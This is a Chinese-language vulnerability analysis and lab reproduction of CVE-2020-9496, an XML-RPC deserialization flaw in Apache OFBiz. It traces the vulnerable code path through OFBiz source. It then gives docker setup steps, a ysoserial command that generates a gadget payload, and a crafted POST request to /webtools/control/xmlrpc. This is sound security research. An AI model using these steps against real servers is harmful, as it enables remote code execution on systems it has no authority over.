APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析
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1.1 状态
完成漏洞挖掘条件分析、漏洞复现。
1.2 简介
相关的重点类和方法：
org.apache.xmlrpc.parser.SerializableParser 包含序列化代码；
org.apache.ofbiz.webapp.control.RequestHandler负责发送请求至“/webtools/control/xmlrpc”端点；
org.apache.ofbiz.webapp.event.XmlRpcEventHandler#execute()方法；
org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest()方法的XMLReader类的parse()方法可开展XML解析工作。
org.apache.xmlrpc.parser.XmlRpcRequestParser、org.apache.xmlrpc.parser.RecursiveTypeParserImpl、org.apache.xmlrpc.parser.MapParser类可解析XML-RPC请求中的元素。
序列化问题在于org.apache.xmlrpc.parser.SerializableParser#getResult()方法。OFBiz使用的 Apache Commons BeanUtils 库和 Apache ROME库存在漏洞。
XML-RPC是一个远程过程调用（RPC）协议。
版本：APACHE-OFBIZ-16.11.05，jdk1.8。
1.3 漏洞挖掘能力条件
根据调试信息可精准定位入口点。
认为可灵活导入所需jar包。
1.4 利用方法
入口点是 /webtools/control/xmlrpc，因此从framework/webtools/webapp/webtools/WEB-INF/web.xml（如果没有WEB-INF/web.xml文件，tomcat会输出找不到的消息）开始深入分析。
framework/webtools/webapp/webtools/WEB-INF/web.xml |
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org.apache.ofbiz.webapp.control.ControlServlet#doPost |
- |
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org.apache.ofbiz.webapp.control.ControlServlet#doGet |
long requestStartTime = System.currentTimeMillis(); RequestHandler requestHandler = this.getRequestHandler(); 【a】 HttpSession session = request.getSession(); … String errorPage = null; try { // the ServerHitBin call for the event is done inside the doRequest method requestHandler.doRequest(request, response, null, userLogin, delegator); 【d】 |
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a |
org.apache.ofbiz.webapp.control.RequestHandler#RequestHandler |
this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context); 【b】 … this.eventFactory = new EventFactory(context, this.controllerConfigURL); 【c】 |
b |
org.apache.ofbiz.webapp.control.ConfigXMLReader#getControllerConfigURL |
public static URL getControllerConfigURL(ServletContext context) { try { return context.getResource(controllerXmlFileName); 【controllerXmlFileName= /WEB-INF/controller.xml】 } catch (MalformedURLException e) { Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module); return null; } } |
C:\Users\wangze\Downloads\apache-ofbiz-16.11.05new\framework\webtools\webapp\webtools\WEB-INF\controller.xml |
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c |
org.apache.ofbiz.webapp.event.EventFactory#EventFactory |
- |
d |
org.apache.ofbiz.webapp.control.RequestHandler#doRequest(HttpServletRequest, HttpServletResponse, String, GenericValue, Delegator) |
// Grab data from request object to process String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo()); 【request.getPathInfo()=/xmlrpc】 … String returnString = this.runEvent(request, response, event, null, "preprocessor"); 【返回成功字符串】 … / Invoke the defined event (unless login failed) if (eventReturn == null && requestMap.event != null) { if (requestMap.event.type != null && requestMap.event.path != null && requestMap.event.invoke != null) { try { long eventStartTime = System.currentTimeMillis(); // run the request event eventReturn = this.runEvent(request, response, requestMap.event【xmlrpc】, requestMap, "request"); |
org.apache.ofbiz.webapp.control.RequestHandler#runEvent |
EventHandler eventHandler = eventFactory.getEventHandler(event.type【xmlrpc】); String eventReturn = eventHandler.invoke(event, requestMap, request, response); |
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org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke |
try { this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response));【总结，根据controller.xml控制路由调用xmlprc相关方法】 |
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org.apache.ofbiz.webapp.event.XmlRpcEventHandler#execute |
try (InputStream istream = getInputStream(pConfig, pConnection)) { XmlRpcRequest request = getRequest(pConfig, istream); result = execute(request); } catch (Exception e) { Debug.logError(e, module); foundError = true; }【会请求失败】 |
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org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest |
xr.setContentHandler(parser); try { xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); xr.setFeature("http://xml.org/sax/features/external-general-entities", false); xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xr.parse(new InputSource(pStream)); 【可执行脚本】 |
1.5 docker复现
第一步，下载docker镜像：
docker pull 296645429/cve-2020-9496
第二步，设置局域网及容器ip、启动容器，例子：
(1) 自定义网络
docker network create --subnet=192.168.10.1/24 testnet
(2) 启动docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
第三步，启动OFBIZ服务。在容器中，依次输入命令：
cd ./apache-ofbiz-16.11.05
./gradlew cleanAll loadDefault ofbiz
几分钟后，在宿主机浏览器输入https://localhost:8443/myportal/control/main，如下图说明环境搭建完毕。
第四步，在宿主机的终端，执行命令：
java -jar ysoserial-master-6ecnsBeanutils1 "touch /tmp/112"|base64 | tr -d '\n'
输出编码后的指令：
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在宿主机中，使用burpsuite抓包并发送此编码内容，完整数据包信息如下。
POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Connection: close
Content-Type: application/xml
Content-Length: 4117
22
22
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发送后，返回正常响应信息，观察容器可知生成112文件，复现成功。
1.6 参考资料
https://www.freebuf.com/vuls/250378.html
https://www.cnblogs.com/ph4nt0mer/p/13576739.html
https://xz.aliyun.com/t/8184#toc-4
https://blog.csdn.net/caiqiiqi/article/details/108646579
https://github.com/frohoff/ysoserial
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